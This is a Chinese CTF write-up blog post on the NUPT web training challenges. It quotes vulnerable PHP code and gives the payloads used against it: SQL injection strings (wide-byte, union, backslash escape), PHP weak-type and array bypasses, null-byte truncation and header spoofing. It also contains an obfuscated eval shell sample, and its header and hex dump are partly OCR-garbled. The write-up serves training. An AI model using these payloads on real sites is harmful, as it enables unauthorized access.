CTF writeup 2_南邮网络攻防训练

Troy F 2016-10-28 14:42:00 发布 ① 1459860 ※ 收藏 35 次表专栏: CTF_writeup csdn 已寿用,博客转移至: http://www.trOy.wang/,公众号:橘子茶手 本文链接: https://blog.csdn.net/q_30637197/article/details/52956198 版权 WED ① ① ① ① ① ② ① ① ② ② ② ② ③ ③ ③ ③ ③ ③ ③ ③ ③ ③	原创
<pre>分换专栏: <u>CIF_Wnteup</u> csdn 已寿用, 博客转移至: http://www.tr0y.wang/, 公众号: 橘子茶手 本文链接: https://blog.csdn.net/qq_30637197/article/details/52956198 版权</pre>	Troy 0 于 2016-10-28 14:42:00 发布 0 1459860 % 收藏 35
Sddf Cape, je A # A # # # # # # # # # # # # # # # #	分尖专仁: <u>CIF_writeup</u>
(1) CTF_writeup 专栏收录该内容 4 篇文章 0 订阅 订阅专栏 地址 地址 地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里?" 在源码里~ md5 collision 源码 (?php \$md51 = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO'); \$a = '@\$_KGET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO' && \$md51 === \$md52) { echo "nctf{************************************	csun 已并用,博各转移至. http://www.troy.wang/,公众专: 摘 丁 示 于 本文链接. https://blog.csdp.pet/gg_30637197/article/details/52956198
CTF_writeup 专栏收录该内容 4 篇文章 0 订阅 订阅专栏 地址 地址 地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里?" 在源码里~ md5 collision 源码 /*[f (\$a = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************	版权
4 篇文章 0 订阅 订阅专栏 地址 地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里?" 在源码里~ md5 collision 源码 (?php \$md51 = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************	CTF_writeup 专栏收录该内容
<pre>ingetee 地址 地址 地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里? " 在源码里~ md5 collision 源码</pre>	4 篇文章 0 订阅
地址 地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里?" 在源码里~ md5 collision 源码	订阅专栏
地址 WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里?" 在源码里~ md5 collision 源码	地址
<pre>WEB 签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里? " 在源码里~ md5 collision 源码</pre>	地址
<pre>签到题 这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里? " 在源码里~ md5 collision 源码</pre>	WEB
这一定是最简单的 传送门: http://chinalover.sinaapp.com/web1/ "key在哪里? " 在源码里~ md5 collision 源码	签到题
<pre>传送门: http://chinalover.sinaapp.com/web1/ "key在哪里? " 在源码里~ md5 collision 源码</pre>	这一定是最简单的
<pre>"key在哪里? " 在源码里~ md5 collision 源码</pre>	传送门: http://chinalover.sinaapp.com/web1/
在源码里~ md5 collision 源码	"key在哪里?"
<pre>md5 collision 源码 </pre> <pre> <pre></pre></pre>	在源码里~
<pre>源码 </pre> <pre>\$md51 = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************</pre>	md5 collision
php<br \$md51 = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************	源码
<pre>if(ISSEC(\$a)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************</pre>	php<br \$md51 = md5('QNKCDZO'); \$a = @\$_GET['a']; \$md52 = @md5(\$a); if(isset(\$a)){
<pre>} else { echo "false!!!"; }} else{echo "please input a";}</pre>	<pre>if (issec(ia)){ if (\$a != 'QNKCDZO' && \$md51 == \$md52) { echo "nctf{************************************</pre>
<pre>echo "talse!!!"; }} else{echo "please input a";}</pre>	} else {
else{echo "please input a";}	echo "talse!!!"; }}
?>	else{echo "please input a";} ?>

题目链接 http://115.28.150.176/md5/index.php

签到2

地址:来源:网络攻防大赛

限制输入10个字符,而"zhimakaimen"有11个.那么直接post就行啦

这题不是WEB

真的,你要相信我!这题不是WEB 传送门:题目地址。

有个图片,下下来看看.用notepad打开,找一找就有啦~

层层递进

黑客叔叔p0tt1的题目 欢迎大家关注他的微博~ 题目传送门:题目地址

看源码,发现了个 src="S0.html" 点进去看看,又是一个 src="S0.html" 层层递进估计就这意思吧,继续点 在不知道点了几次之后 src="404.html" 点进去

```
<!--
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
- - >
```

竖着看-后面的字符,就是flag啦~

AAencode

javascript aaencode

http://115.28.150.176/aaencode.txt

在源码里复制,丢到firebug的控制台运行得flag 在源码里复制是为了保证能复制完全

单身二十年

看源码,有个 _到这里找key__ 点进去,flag就在里面~

你从哪里来

你是从 google 来的吗? http://115.28.150.176/referer/index.php

从 google 来,那就改Referer咯,然后post过去就行了

php decode

```
见到的一个类似编码的shell,请解码
```

```
<?php
function CLsI($ZzvSWE) {
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    }
    return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
```

文件包含

没错这就是传说中的LFI 传送门点我带你飞

TIPS:http://drops.wooyun.org/tips/3827

乌云已经打不开了.GG.先跳过

单身一百年也没用

是的。。这一题你单身一百年也没用 传送门: biu~

用brupsuite抓包就行啦

Download~!

想下啥就下啥~别下音乐,不骗你,试试下载其他东西~ 真·奥义·传送:点我

看源码,发现

<a href="download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM="

"eGluZ3hpbmdkaWFuZGVuZy5tcDM="解码就是 xingxingdiandeng.mp3 看来文件名要经过base64加密 "试试下载其他东西~",下啥呢..试了好多,什么flag.php,key.php,flag.html,key.html...最后发现download.php有东西

```
??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="downl
    $file size = filesize($url);
   header ( "Pragma: public" );
   header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
   header ( "Content-Transfer-Encoding: binary" );
   header ( "Content-Type:audio/mpeg MP3");
   header ( "Content-Length: " . $file_size);
   header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
   exit;
}
else {
   echo "Access Forbidden!";
}
?>
```

很明显了,访问hereiskey.php就行了(当然要base64)

COOKIE

COOKIE就是甜饼的意思~ 地址: 传送门

TIP:

0==not

打开发现啥都没,抓个包 发现"Cookie: Login=0",改为1就行啦~

MYSQL

不能每一题都这么简单嘛 你说是不是? 题目地址

提示这么明显了,打开robots.txt看看

```
TIP:sql.php

<?php
if($_GET[id]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $id = intval($_GET[id]);
    $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    if ($_GET[id]==1024) {
        echo "<p>no! try again";
    }
    else{
        echo($query[content]);
    }
}
```

既然限制了直接输入1024,说明要查的id很有可能就是1024.intval()将变量转成整数类型,默认是转为10进制.那么我们输入1024.1 就行了.intval()会把1024.1变为1024,这样查的时候id=1024,而if (\$_GET[id]==1024)的时候1024.1!=1024

sql injection 3 200

http://115.28.150.176/sqli/index.php?id=1

这题有点难 查了一下 资料1(http://www.2cto.com/article/201209/153283.html) 资料2(http://www.2cto.com/article/201207/139595.html)

构造语句

http://115.28.150.176/sqli/index.php?id=1%d5%27%20union%20select%20*,0%20from%20flag%20%23

成功拿到flag

嗨呀,我还是太菜.慢慢学吧

/x00

题目地址:题目有多种解法,你能想出来几种?

```
if (isset ($_GET['nctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
        echo '必须输入数字才行';
    else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
        die('Flag: '.$flag);
    else
        echo '骚年, 继续努力吧啊~';
}
```

既要是纯数字,又要有'#biubiubiu'.strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]=就行了~ 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求. 当然,正常做法应该是字符串截断,利用ereg()的NULL截断漏洞,绕过正则过滤.毕竟题目是/x00嘛.即 nctf=1%00%23biubiubiu ok~

bypass again

地址: 依旧是弱类型

来源 hctf

```
if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) === md5($_GET['b']))
    die('Flag: '.$flag);
    else
    print 'Wrong.';
}
```

既要a!=b,又要md5(a)===md5(b) 做法和上一题一样,传数组让md5()出错,返回null,那么判断的时候就是null===null

变量覆盖

听说过变量覆盖么? 地址:题目地址

看一下source.p1hp, extract(\$_POST); 那么只要post pass和thepassword_123(值要相等)覆盖掉默认的thepassword_123的值,就可以得到flag了.抓包改包~

Туре	Name	Value
Body	pass	1
Body	thepassword_123	1

PHP是世界上最好的语言

听说PHP是世界上最好的语言 地址:题目地址

打开index.txt看看

eregi — 不区分大小写的正则表达式匹配.那也就是说,不能使id=hackerDJ,但是又要经过urldecode()后== "hackerDJ".那么我们可 以把"hackerDJ"进行url编码,再把编码再次进行编码.即 (%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61) 这样post过去就满足代码了

伪装者

这是一个到处都有着伪装的世界 题目地址:点我

```
一开始没啥思路,搜了一下,找到了一个http头x-forwarded-for
验证本地登录,抓包构造x-forwarded-for=127.0.0.1,post走起
ok~
(得抽点时间再好好看看HTTP协议了)
```

Header

头啊!!头啊!!! 传送门:点我咯

既然提示"头",抓包咯 flag就在响应头里~

上传绕过

题目地址: 猜猜代码怎么写的

不传照片后缀的提示"不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件" 传了照片后缀的又提示"必须上传成后缀名为php的文件才行啊!" 不太会,留着以后填坑~ 听说你也会注入? 地址:题目地址

看一下source

```
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQ</pre>
```

代码的意思就是post user与pass,然后提交post的user必须是admin.但是密码不知道,所以就得在\$sql=这句想办法绕过 and (pw='".\$pass."') 这段 所以构造的语句就是这样 admin')# 验证一下对不对.这时\$sql就是

```
"select user from ctf where (user='admin')#."') and (pw='".$pass."')"
```

即

"select user from ctf where (user='admin')

搞定~

pass check

核心源码

```
<?php

$pass=@$_POST['pass'];

$pass1=*********;//被隐藏起来的密码

if(isset($pass))

{

if(@!strcmp($pass,$pass1)){

echo "flag:nctf{*}";

}else{

echo "the pass is wrong!";

}

}else{

echo "please input pass!";

}

}
```

题目链接: tip:strcmp(array,string)=null=0

提示已经很明显了,传一个pass数组就行了

起名字真难

地址:代码如下

```
<?php
function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)</pre>
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )</pre>
                {
                         return false;
                }
        }
           return $number == '54975581388';
}
$flag='*****';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo 'access denied';
?>
```

函数里进行2次判断 1.key里是否为存在数字 2.key是否=='54975581388'

我们知道,php在判断==时,其中的一个字符串是0x开头的时候,会将此字符串解析成为十进制然后再进行比较.恰好54975581388 的16进制是ccccccccc,没有数字.提交0xcccccccc就行了~

密码重置

重置管理员账号: admin 的密码

你在点击忘记密码之后你的邮箱收到了这么一封重置密码的邮件:

点击此链接重置您的密码

注意url的base64是ctfuser,所以改包的时候post的url也要改成YWRtaW4=,再把user改为admin就行了~

php 反序列化

http://115.28.150.176/php1/index.php 代码:

```
<?php
class just4fun {
   var $enter;
   var $secret;
}
if (isset($_GET['pass'])) {
   $pass = $_GET['pass'];
   if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   $o = unserialize($pass);
   if ($0) {
       $o->secret = "*";
        if ($o->secret === $o->enter)
           echo "Congratulation! Here is my secret: ".$o->secret;
        else
           echo "Oh no... You can't fool me";
    }
   else echo "are you trolling?";
}
?>
```

不太会,留着以后填坑~

sql injection 4

继续注入吧~ 题目地址

TIP:反斜杠可以用来转义 仔细查看相关函数的用法

源码

```
#GOAL: login as admin, then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
   }
   return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){</pre>
    die('Invalid password!');
}
echo $flag;
```

本来想跳过pass的,但是使用了htmlentities()函数,所以这个方法不可行.试试看插入or 1=1 整理过程

```
'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
SELECT * FROM users WHERE name=\'$username\' AND pass=\'$password\';
如果试图注释掉pass
SELECT * FROM users WHERE name=\'admin#\' AND pass=\'$password\';
即
SELECT * FROM users WHERE name=\'admin
不可行(因为存在htmlentities()函数)
如果试图插入or 1=1
那么应使
name=\'$username\' AND pass=\'(php中)
name='$username' AND pass='(sql中)
而$username后有个'会使得前面的'闭合,通过添加\可使原来的\'变为\\',使得转义'失效(php中).即\'\\' AND pass=\'.即'\'
那么$password就是or 1=1#
所以
post 的语句为?username=\&password=or 1=1%23
php中的语句为SELECT * FROM users WHERE name='\' AND pass='or 1=1#';
sql中的语句为SELECT * FROM users WHERE name='\' AND pass=' or 1=1
```

得flag

综合题

题目地址: tip:bash

一坨符号,jsfuck无疑.我还记得上次复制jsfuck的时候没去源码复制,导致复制不全.这次我可留心眼了.跑去源码复制,丢进firebug.

woc?... 一顿折腾,发现直接在页面复制才可以运行

1bc29b36f623ba82aaf6724fd3b16718.php

...有毒啊

打开看看 在响应头里发现了

tip:history of bash

那就打开.bash_history看看咯

zip -r flagbak.zip ./*

下载,解压,有个flag.txt.ok~

SQL注入2

注入第二题~~主要考察union查询 传送门:点我带你飞

```
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
    if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
        echo "Logged in! Key: ntcf{*********} ";
    }
    else {
        echo("Log in failure!");
    }
}
```

可以看到,我们从数据库取出的pw要和我们输入的pass经过md5()后相等.由于不知道pw的值,所以就不能用where user=admin这个语句来取,所以这个where必须为假.

select pw from ctf where user=admin and 1=2

而又要取出pw,所以利用union可以这么构造

select pw from ctf where user=admin and 1=2 union select md5(1)

既然取出的pw是1的md5值,那么在提交pass的时候就为1

所以username=admin' and 1=2 union select md5(1)# password=1

ok~

综合题2

非xss题 但是欢迎留言~ 地址: get the flag

不会,留着以后填坑

注入实战1

请使用firefox浏览器,并安装hackbar插件(自行百度并熟悉) 目标网址:地址 flag为管理员密码的32位md5(小写) 并且加上nctf{

手注教程群里面发过。 看不懂的话自行百度"mysql手动注入"查阅相关文章

PS:用sqlmap等工具做的就不要厚脸皮提交了

网站貌似出问题了,页面一直显示不了,先放着吧

密码重置2

题题被秒,当时我就不乐意了! 本题来源于CUMT 题目链接

TIPS:

1.管理员邮箱观察一下就可以找到 2.linux下一般使用vi编辑器,并且异常退出会留下备份文件 3.弱类型bypass

提示1说邮箱很容易找到,看了一下源码:admin@nuptzj.cn 提示2说vim异常退出留下备份文件.搜了一下,发现 目前主要的编辑器都有恢复功能,vim也不例外。vim是通过"保存"文件来挽回数据的。每当我们在用vim编辑时,vim都会自动在被编辑的文件的目录下面再新建一个名为filename.swp的文件。这就是一个暂存文件,我们对文件 filename所做的操作都会被记录到这个文件当中。如果系统意外崩溃,导致文件没有正常保存,那么这个暂存文件就会发挥作用。

所以,应该存在一个.swp的文件.而get的action是submit.php,所以应该构造.submit.php.swp 访问之

```
.....这一行是省略的代码.....
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
- -
-- 表的结构 `user`
- -
CREATE TABLE IF NOT EXISTS `user` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `username` varchar(255) NOT NULL,
 `email` varchar(255) NOT NULL,
 `token` int(255) NOT NULL DEFAULT '0',
 PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO INCREMENT=2 ;
-- 转存表中的数据 `user`
- -
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
.....这一行是省略的代码.....
if(!empty($token)&&!empty($emailAddress)){
   if(strlen($token)!=10) die('fail');
   if($token!='0') die('fail');
   $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
   $r = mysql query($sql) or die('db error');
   $r = mysql_fetch_assoc($r);
   $r = $r['num'];
   if($r>0){
       echo $flag;
   }else{
       echo "失败了呀";
   }
}
```

代码要求token的长度为10且token的值是0,那么提交0e0000000就行啦~

听说这是女神的私房照,里面藏着flag哦 http://115.28.150.176/misc1.jpg

用notepad打开就能看见了~

图种

flag是动态图最后一句话的拼音首字母 加上nctf{}



既然是图种,解压看看



播放的好慢....用firework打开直接看最后一张



丘比龙De女神

没错里面隐藏了一张女神的照片 flag是照片文件的md5值(小写) 记住加上flag{}



用notepad打开,发现了"nvshen.jpg"..估计又是图种.可是解压后发现

📧 gif.gif - 解包大小为 0 KB

winhex打开看看

搜"nvshen",发现"love".哪有与原无故的love.估计这压缩还有密码

00000BC0 00																		-			-		
00000B00 6A 47 C3 DA D6 0A 48 E8 00 00 7C E8 00 00 0A 00 jG泌? jG泌? jG泌? jGiŵ? jA jA E4 A5 jGiŵ? jA jA E4 A5 jA jA SA	000008C0	00	00	3в	00	6C	6F	76	65	14	00	01	00	08	00	C6	A8		-1	ove		屁	
00000BE0 00 6E 76 73 68 65 6E 2E 6A 70 67 97 4A E4 A5 □□nvshen.jpg相 00000BF0 BC 72 47 1B 92 8F 7A 88 93 C3 F2 C0 84 59 AC 15 細口のvshen.jpg相 00000D900 38 D7 DA ED B4 0C 27 0D CA E7 20 AE A5 62 86 B3 ※□' w ※□' w 0000D900 38 D7 DA ED B4 0C 27 0D CA E7 20 AE A5 62 86 B3 %□' w %□	00000800	6A	47	C3	DA	D6	0A	48	E8	00	00	7C	E8	00	00	0A	00	jG	泌?			?	
00000B8F0 BC 72 47 1B 92 8F 7A 88 93 C3 F2 C0 84 59 AC 15 糾CP核之垞抿绖 00000D900 38 D7 DA ED B4 0C 27 0D CA E7 20 AE A5 62 86 B3 ※□' 淑 0000D910 22 8B 46 BB AA D8 FD B3 9C 17 10 6B 7F 7C A8 E7 "嫦华佚硿□□k 0000D920 08 EC DB 31 8E 00 03 9C 39 D1 71 51 AE 98 A2 AF "嫦华佚硿□□k 0000D930 0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F]}4P? [號40] 0000D940 2F 25 42 BB D1 1B BF B7 6B 3A 92 0F 07 C7 88 99 %B流□kk?? 0000D950 8F 73 35 4C 86 BF 8B DB DF 3E D3 52 5E C5 AE CC %B流□kk?? 0000D960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE ?o]□5? 0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ?o]□5? 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 □ftoB? □ftoB? 0000D980 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? %B\%?? a 0000D990 2A DA 0C 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 ? %B'\mathbf{k}?? 0000D900 2A DA 0C 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 ? %B'\mathbf{k}?? 0000D900 2A DA 0C 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 ? ? %B'\mathbf{k}?? 0000D900 2F PB BA 51 66 7	0000D8E0	00	00	6E	76	73	68	65	6E	2E	6A	70	67	97	4A	E4	A5		nvsl	hen	.jp	g桱浈	
00000D900 38 D7 DA ED B4 0C 27 0D CA E7 20 AE A5 62 86 B3 第口: 淑 0000D910 22 8B 46 BB AA D8 FD B3 9C 17 10 6B 7F 7C A8 E7 "#华佚硿□Lki 0000D920 08 EC DB 31 8E 00 03 9C 39 D1 71 51 AE 98 A2 AF □次1: 14Qm 0000D930 0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F □}4P? I尧: 0000D940 2F 25 42 BB D1 1B BF B7 6B 3A 92 0F 07 C7 B8 99 %B端□#k:? 0000D950 8F 73 35 4C 86 BF 8B DB 0F 3E D3 52 5E C5 AE CC %SL™ 0000D960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE ? o}□D3/D5? 0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ? o}□D5? 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 □ffTO8? □替 0000D940 5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD AD 0000D940 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? \$K™<%	0000D8F0	BC	72	47	1B	92	8F	7A	88	93	C3	F2	C0	84	59	AC	15	紃	GD 13	≻z±	記	绖Y?	
00000D910 22 8B 46 BB AA D8 FD B3 9C 17 10 6B 7F 7C A8 E7 "#华佚硿□□ki 00000D920 08 EC DB 31 8E 00 03 9C 39 D1 71 51 AE 98 A2 AF □ 小桃Q 00000D930 0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F □} 4P? IŽe? 00000D940 2F 25 42 BB D1 1B BF 76 6B 3A 92 0F 07 C7 B8 99 %B	000000900	38	D7	DA	$^{\rm ED}$	в4	0C	27	0D	CA	E7	20	AE	A5	62	86	В3		炭	.	淑	b喅	
00000D920 08 EC DB 31 8E 00 03 9C 39 D1 71 51 AE 98 A2 AF □(m(12) 神(m) 00000D930 0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F D} 4P? IŽe? 00000D940 2F 25 42 BB D1 1B BF B7 6B 3A 92 0F 07 C7 B8 99 8B CI 1Å AA 6E AO E9 B5 46 4F 07 48 AB DE 'A'D	00000910	22	8B	46	BB	AA	D8	\mathbf{FD}	в3	9C	17	10	6B	7F	7C	A 8	E7	"妰	¥4÷	佚稻	<u>200</u> ∶	k0	
0000D930 0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F □}4P? I荛? 0000D940 2F 25 42 BB D1 1B BF 87 6B 3A 92 0F 07 C7 B8 99 0000D950 8F 73 35 4C 86 BF 8B DB 0F 3E D3 52 5E C5 AE CC 0000D960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE 0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 0000D990 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 0000D980 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C 0000D900 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 0000D900 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 0000D900 F7 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0 0000D400 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 18 88 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA	00000920	80	EC	DB	31	8E	00	03	9C	39	D1	71	51	AE	98	A2	AF	□焪	1?		神	Q暘	
0000D940 2F 25 42 BB D1 1B BF B7 6B 3A 92 0F 07 C7 B8 99 %B谎口糠k:? 0000D950 8F 73 35 4C 86 BF 8B DB 0F 3E D3 52 5E C5 AE CC AE CC s5L嗳嬠>>競^ 0000D960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE S5L嗳嬠>>競^ 浴CO3ħ₩@CO 0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ? o)□5? □ftroB? □賛 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 □ftroB? □賛 □賛 0000D990 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 %? ? a 0000D980 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? \\$B\X\Bar{B} 0000D900 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 ¥\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$	0000D930	0B	7D	34	50	AF	0C	76	04	96	49	DC	E9	AB	25	5E	1F	□}	4P?		I荠	§?	
0000D950 8F 73 35 4C 86 BF 8B DB 0F 3E D3 52 5E C5 AE CC s5L嗳嬠>>30^ 0000D960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE ?000748 AB DE 0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ?0)15? 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 0FTOB? 0FTOB? 0000D900 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 ?? ABD2? 0000D900 FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD ABD2? ABD2? ABD2? 0000D900 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? MD[@# ABD2? ABD2? 0000D900 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 ? MD[@# AE27 VMC AE27 VMC 0000D900 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 ? MD[@# AE2? MD?? MMC 0000D900 D6 F9 BA 51 66 79 34 4B 70 DF 793 C5 22 16 02 F0 fxxt}i&mi 擎" DMO(@# AE27 70 D6 7B 6D 7F 93 C5 22 16 02 F0 fxxt}i&mi \$#" 0000D400 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 Ifficer */ SE(rtdrmkd 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 Ifficer */ SE(rtdrmkd 0000DA20 <	000000940	2F	25	42	BB	D1	1B	BF	в7	6B	3A	92	0F	07	C7	в8	99	응]	B谎	□糠	k:?	楜	5
